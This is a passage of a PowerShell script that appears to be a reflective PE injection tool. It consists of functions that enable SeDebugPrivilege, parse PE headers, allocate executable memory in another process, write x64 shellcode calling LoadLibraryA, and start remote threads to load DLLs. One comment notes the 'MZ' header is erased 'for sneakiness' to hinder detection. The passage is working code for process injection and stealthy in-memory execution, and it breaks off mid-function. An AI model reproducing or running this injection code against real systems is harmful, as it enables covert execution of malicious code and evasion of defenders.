824 | {
825 | Throw "Cannot add bytearrays of different sizes"
826 | }
827 |
828 | return [BitConverter]::ToInt64($FinalBytes, 0)
829 | }
830 |
831 |
832 | Function Compare-Val1GreaterThanVal2AsUInt
833 | {
834 | Param(
835 | [Parameter(Position = 0, Mandatory = $true)]
836 | [Int64]
837 | $Value1,
838 |
839 | [Parameter(Position = 1, Mandatory = $true)]
840 | [Int64]
841 | $Value2
842 | )
843 |
844 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
845 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
846 |
847 | if ($Value1Bytes.Count -eq $Value2Bytes.Count)
848 | {
849 | for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
850 | {
851 | if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
852 | {
853 | return $true
854 | }
855 | elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
856 | {
857 | return $false
858 | }
859 | }
860 | }
861 | else
862 | {
863 | Throw "Cannot compare byte arrays of different size"
864 | }
865 |
866 | return $false
867 | }
868 |
869 |
870 | Function Convert-UIntToInt
871 | {
872 | Param(
873 | [Parameter(Position = 0, Mandatory = $true)]
874 | [UInt64]
875 | $Value
876 | )
877 |
878 | [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
879 | return ([BitConverter]::ToInt64($ValueBytes, 0))
880 | }
881 |
882 |
883 | Function Get-Hex
884 | {
885 | Param(
886 | [Parameter(Position = 0, Mandatory = $true)]
887 | $Value #We will determine the type dynamically
888 | )
889 |
890 | $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
891 | $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.
892 |
893 | return $Hex
894 | }
895 |
896 |
897 | Function Test-MemoryRangeValid
898 | {
899 | Param(
900 | [Parameter(Position = 0, Mandatory = $true)]
901 | [String]
902 | $DebugString,
903 |
904 | [Parameter(Position = 1, Mandatory = $true)]
905 | [System.Object]
906 | $PEInfo,
907 |
908 | [Parameter(Position = 2, Mandatory = $true)]
909 | [IntPtr]
910 | $StartAddress,
911 |
912 | [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
913 | [IntPtr]
914 | $Size
915 | )
916 |
917 | [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
918 |
919 | $PEEndAddress = $PEInfo.EndAddress
920 |
921 | if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
922 | {
923 | Throw "Trying to write to memory smaller than allocated address range. $DebugString"
924 | }
925 | if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
926 | {
927 | Throw "Trying to write to memory greater than allocated address range. $DebugString"
928 | }
929 | }
930 |
931 |
932 | Function Write-BytesToMemory
933 | {
934 | Param(
935 | [Parameter(Position=0, Mandatory = $true)]
936 | [Byte[]]
937 | $Bytes,
938 |
939 | [Parameter(Position=1, Mandatory = $true)]
940 | [IntPtr]
941 | $MemoryAddress
942 | )
943 |
944 | for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
945 | {
946 | [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
947 | }
948 | }
949 |
950 |
951 | #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
952 | Function Get-DelegateType
953 | {
954 | Param
955 | (
956 | [OutputType([Type])]
957 |
958 | [Parameter( Position = 0)]
959 | [Type[]]
960 | $Parameters = (New-Object Type[](0)),
961 |
962 | [Parameter( Position = 1 )]
963 | [Type]
964 | $ReturnType = [Void]
965 | )
966 |
967 | $Domain = [AppDomain]::CurrentDomain
968 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
969 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
970 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
971 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
972 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
973 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
974 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
975 | $MethodBuilder.SetImplementationFlags('Runtime, Managed')
976 |
977 | Write-Output $TypeBuilder.CreateType()
978 | }
979 |
980 |
981 | #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
982 | Function Get-ProcAddress
983 | {
984 | Param
985 | (
986 | [OutputType([IntPtr])]
987 |
988 | [Parameter( Position = 0, Mandatory = $True )]
989 | [String]
990 | $Module,
991 |
992 | [Parameter( Position = 1, Mandatory = $True )]
993 | [String]
994 | $Procedure
995 | )
996 |
997 | # Get a reference to System.dll in the GAC
998 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
999 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
1000 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
1001 | # Get a reference to the GetModuleHandle and GetProcAddress methods
1002 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
1003 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
1004 | # Get a handle to the module specified
1005 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
1006 | $tmpPtr = New-Object IntPtr
1007 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
1008 |
1009 | # Return the address of the function
1010 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
1011 | }
1012 |
1013 |
1014 | Function Enable-SeDebugPrivilege
1015 | {
1016 | Param(
1017 | [Parameter(Position = 1, Mandatory = $true)]
1018 | [System.Object]
1019 | $Win32Functions,
1020 |
1021 | [Parameter(Position = 2, Mandatory = $true)]
1022 | [System.Object]
1023 | $Win32Types,
1024 |
1025 | [Parameter(Position = 3, Mandatory = $true)]
1026 | [System.Object]
1027 | $Win32Constants
1028 | )
1029 |
1030 | [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
1031 | if ($ThreadHandle -eq [IntPtr]::Zero)
1032 | {
1033 | Throw "Unable to get the handle to the current thread"
1034 | }
1035 |
1036 | [IntPtr]$ThreadToken = [IntPtr]::Zero
1037 | [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
1038 | if ($Result -eq $false)
1039 | {
1040 | $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1041 | if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
1042 | {
1043 | $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
1044 | if ($Result -eq $false)
1045 | {
1046 | Throw "Unable to impersonate self"
1047 | }
1048 |
1049 | $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
1050 | if ($Result -eq $false)
1051 | {
1052 | Throw "Unable to OpenThreadToken."
1053 | }
1054 | }
1055 | else
1056 | {
1057 | Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
1058 | }
1059 | }
1060 |
1061 | [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
1062 | $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
1063 | if ($Result -eq $false)
1064 | {
1065 | Throw "Unable to call LookupPrivilegeValue"
1066 | }
1067 |
1068 | [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
1069 | [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
1070 | $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
1071 | $TokenPrivileges.PrivilegeCount = 1
1072 | $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
1073 | $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
1074 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
1075 |
1076 | $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
1077 | $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
1078 | if (($Result -eq $false) -or ($ErrorCode -ne 0))
1079 | {
1080 | #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set
1081 | }
1082 |
1083 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
1084 | }
1085 |
1086 |
1087 | Function Create-RemoteThread
1088 | {
1089 | Param(
1090 | [Parameter(Position = 1, Mandatory = $true)]
1091 | [IntPtr]
1092 | $ProcessHandle,
1093 |
1094 | [Parameter(Position = 2, Mandatory = $true)]
1095 | [IntPtr]
1096 | $StartAddress,
1097 |
1098 | [Parameter(Position = 3, Mandatory = $false)]
1099 | [IntPtr]
1100 | $ArgumentPtr = [IntPtr]::Zero,
1101 |
1102 | [Parameter(Position = 4, Mandatory = $true)]
1103 | [System.Object]
1104 | $Win32Functions
1105 | )
1106 |
1107 | [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
1108 |
1109 | $OSVersion = [Environment]::OSVersion.Version
1110 | #Vista and Win7
1111 | if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
1112 | {
1113 | #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
1114 | $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
1115 | $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1116 | if ($RemoteThreadHandle -eq [IntPtr]::Zero)
1117 | {
1118 | Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
1119 | }
1120 | }
1121 | #XP/Win8
1122 | else
1123 | {
1124 | #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
1125 | $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
1126 | }
1127 |
1128 | if ($RemoteThreadHandle -eq [IntPtr]::Zero)
1129 | {
1130 | Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
1131 | }
1132 |
1133 | return $RemoteThreadHandle
1134 | }
1135 |
1136 |
1137 |
1138 | Function Get-ImageNtHeaders
1139 | {
1140 | Param(
1141 | [Parameter(Position = 0, Mandatory = $true)]
1142 | [IntPtr]
1143 | $PEHandle,
1144 |
1145 | [Parameter(Position = 1, Mandatory = $true)]
1146 | [System.Object]
1147 | $Win32Types
1148 | )
1149 |
1150 | $NtHeadersInfo = New-Object System.Object
1151 |
1152 | #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
1153 | $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
1154 |
1155 | #Get IMAGE_NT_HEADERS
1156 | [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
1157 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
1158 | $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
1159 |
1160 | #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
1161 | if ($imageNtHeaders64.Signature -ne 0x00004550)
1162 | {
1163 | throw "Invalid IMAGE_NT_HEADER signature."
1164 | }
1165 |
1166 | if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
1167 | {
1168 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
1169 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
1170 | }
1171 | else
1172 | {
1173 | $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
1174 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
1175 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
1176 | }
1177 |
1178 | return $NtHeadersInfo
1179 | }
1180 |
1181 |
1182 | #This function will get the information needed to allocated space in memory for the PE
1183 | Function Get-PEBasicInfo
1184 | {
1185 | Param(
1186 | [Parameter( Position = 0, Mandatory = $true )]
1187 | [Byte[]]
1188 | $PEBytes,
1189 |
1190 | [Parameter(Position = 1, Mandatory = $true)]
1191 | [System.Object]
1192 | $Win32Types
1193 | )
1194 |
1195 | $PEInfo = New-Object System.Object
1196 |
1197 | #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
1198 | [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
1199 | [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
1200 |
1201 | #Get NtHeadersInfo
1202 | $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
1203 |
1204 | #Build a structure with the information which will be needed for allocating memory and writing the PE to memory
1205 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
1206 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
1207 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
1208 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
1209 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
1210 |
1211 | #Free the memory allocated above, this isn't where we allocate the PE to memory
1212 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
1213 |
1214 | return $PEInfo
1215 | }
1216 |
1217 |
1218 | #PEInfo must contain the following NoteProperties:
1219 | # PEHandle: An IntPtr to the address the PE is loaded to in memory
1220 | Function Get-PEDetailedInfo
1221 | {
1222 | Param(
1223 | [Parameter( Position = 0, Mandatory = $true)]
1224 | [IntPtr]
1225 | $PEHandle,
1226 |
1227 | [Parameter(Position = 1, Mandatory = $true)]
1228 | [System.Object]
1229 | $Win32Types,
1230 |
1231 | [Parameter(Position = 2, Mandatory = $true)]
1232 | [System.Object]
1233 | $Win32Constants
1234 | )
1235 |
1236 | if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
1237 | {
1238 | throw 'PEHandle is null or IntPtr.Zero'
1239 | }
1240 |
1241 | $PEInfo = New-Object System.Object
1242 |
1243 | #Get NtHeaders information
1244 | $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
1245 |
1246 | #Build the PEInfo object
1247 | $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
1248 | $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
1249 | $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
1250 | $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
1251 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
1252 |
1253 | if ($PEInfo.PE64Bit -eq $true)
1254 | {
1255 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
1256 | $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
1257 | }
1258 | else
1259 | {
1260 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
1261 | $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
1262 | }
1263 |
1264 | if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
1265 | {
1266 | $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
1267 | }
1268 | elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
1269 | {
1270 | $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
1271 | }
1272 | else
1273 | {
1274 | Throw "PE file is not an EXE or DLL"
1275 | }
1276 |
1277 | return $PEInfo
1278 | }
1279 |
1280 |
1281 | Function Import-DllInRemoteProcess
1282 | {
1283 | Param(
1284 | [Parameter(Position=0, Mandatory=$true)]
1285 | [IntPtr]
1286 | $RemoteProcHandle,
1287 |
1288 | [Parameter(Position=1, Mandatory=$true)]
1289 | [IntPtr]
1290 | $ImportDllPathPtr
1291 | )
1292 |
1293 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
1294 |
1295 | $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
1296 | $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
1297 | $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1298 | if ($RImportDllPathPtr -eq [IntPtr]::Zero)
1299 | {
1300 | Throw "Unable to allocate memory in the remote process"
1301 | }
1302 |
1303 | [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1304 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
1305 |
1306 | if ($Success -eq $false)
1307 | {
1308 | Throw "Unable to write DLL path to remote process memory"
1309 | }
1310 | if ($DllPathSize -ne $NumBytesWritten)
1311 | {
1312 | Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
1313 | }
1314 |
1315 | $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
1316 | $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
1317 |
1318 | [IntPtr]$DllAddress = [IntPtr]::Zero
1319 | #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
1320 | # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
1321 | if ($PEInfo.PE64Bit -eq $true)
1322 | {
1323 | #Allocate memory for the address returned by LoadLibraryA
1324 | $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1325 | if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
1326 | {
1327 | Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
1328 | }
1329 |
1330 |
1331 | #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
1332 | $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
1333 | $LoadLibrarySC2 = @(0x48, 0xba)
1334 | $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
1335 | $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
1336 |
1337 | $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
1338 | $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
1339 | $SCPSMemOriginal = $SCPSMem
1340 |
1341 | Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
1342 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
1343 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
1344 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1345 | Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
1346 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
1347 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
1348 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1349 | Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
1350 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
1351 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
1352 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1353 | Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
1354 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
1355 |
1356 |
1357 | $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
1358 | if ($RSCAddr -eq [IntPtr]::Zero)
1359 | {
1360 | Throw "Unable to allocate memory in the remote process for shellcode"
1361 | }
1362 |
1363 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
1364 | if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
1365 | {
1366 | Throw "Unable to write shellcode to remote process memory."
1367 | }
1368 |
1369 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
1370 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1371 | if ($Result -ne 0)
1372 | {
1373 | Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1374 | }
1375 |
1376 | #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
1377 | [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
1378 | $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
1379 | if ($Result -eq $false)
1380 | {
1381 | Throw "Call to ReadProcessMemory failed"
1382 | }
1383 | [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
1384 |
1385 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1386 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1387 | }
1388 | else
1389 | {
1390 | [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
1391 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1392 | if ($Result -ne 0)
1393 | {
1394 | Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1395 | }
1396 |
1397 | [Int32]$ExitCode = 0
1398 | $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
1399 | if (($Result -eq 0) -or ($ExitCode -eq 0))
1400 | {
1401 | Throw "Call to GetExitCodeThread failed"
1402 | }
1403 |
1404 | [IntPtr]$DllAddress = [IntPtr]$ExitCode
1405 | }
1406 |
1407 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1408 |
1409 | return $DllAddress
1410 | }
1411 |
1412 |
1413 | Function Get-RemoteProcAddress
1414 | {
1415 | Param(
1416 | [Parameter(Position=0, Mandatory=$true)]
1417 | [IntPtr]
1418 | $RemoteProcHandle,
1419 |
1420 | [Parameter(Position=1, Mandatory=$true)]
1421 | [IntPtr]
1422 | $RemoteDllHandle,
1423 |
1424 | [Parameter(Position=2, Mandatory=$true)]
1425 | [IntPtr]
1426 | $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing)
1427 |
1428 | [Parameter(Position=3, Mandatory=$true)]
1429 | [Bool]
1430 | $LoadByOrdinal
1431 | )
1432 |
1433 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
1434 |
1435 | [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal
1436 | #If not loading by ordinal, write the function name to the remote process memory
1437 | if (-not $LoadByOrdinal)
1438 | {
1439 | $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
1440 |
1441 | #Write FunctionName to memory (will be used in GetProcAddress)
1442 | $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
1443 | $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1444 | if ($RFuncNamePtr -eq [IntPtr]::Zero)
1445 | {
1446 | Throw "Unable to allocate memory in the remote process"
1447 | }
1448 |
1449 | [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1450 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
1451 | if ($Success -eq $false)
1452 | {
1453 | Throw "Unable to write DLL path to remote process memory"
1454 | }
1455 | if ($FunctionNameSize -ne $NumBytesWritten)
1456 | {
1457 | Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
1458 | }
1459 | }
1460 | #If loading by ordinal, just set RFuncNamePtr to be the ordinal number
1461 | else
1462 | {
1463 | $RFuncNamePtr = $FunctionNamePtr
1464 | }
1465 |
1466 | #Get address of GetProcAddress
